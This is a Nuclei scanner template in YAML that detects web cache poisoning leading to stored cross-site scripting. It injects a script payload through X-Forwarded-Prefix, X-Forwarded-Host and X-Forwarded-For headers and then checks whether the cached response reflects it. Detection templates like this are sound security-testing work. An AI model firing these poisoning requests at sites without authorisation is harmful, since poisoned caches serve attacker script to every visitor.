36 lines
1.0 KiB
YAML
36 lines
1.0 KiB
YAML
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id: cache-poisoning-xss
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info:
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name: Cache Poisoning - Stored XSS
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author: melbadry9,xelkomy,akincibor
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severity: high
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reference:
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- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
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- https://portswigger.net/research/practical-web-cache-poisoning
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- https://portswigger.net/web-security/web-cache-poisoning
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tags: cache,generic,xss
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variables:
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cache_key: "{{to_lower(rand_base(6))}}"
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cache_header: "{{to_lower(rand_base(6))}}"
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xss_payload: '"></script><script>alert(document.domain);</script>'
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http:
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- raw:
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- |
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GET /?{{cache_key}}=1 HTTP/1.1
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Host: {{Hostname}}
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X-Forwarded-Prefix: {{cache_header}}.xfp{{xss_payload}}
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X-Forwarded-Host: {{cache_header}}.xfh{{xss_payload}}
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X-Forwarded-For: {{cache_header}}.xff{{xss_payload}}
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- |
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GET /?{{cache_key}}=1 HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- contains(body_2, cache_header)
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- contains(body_2, xss_payload)
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condition: and
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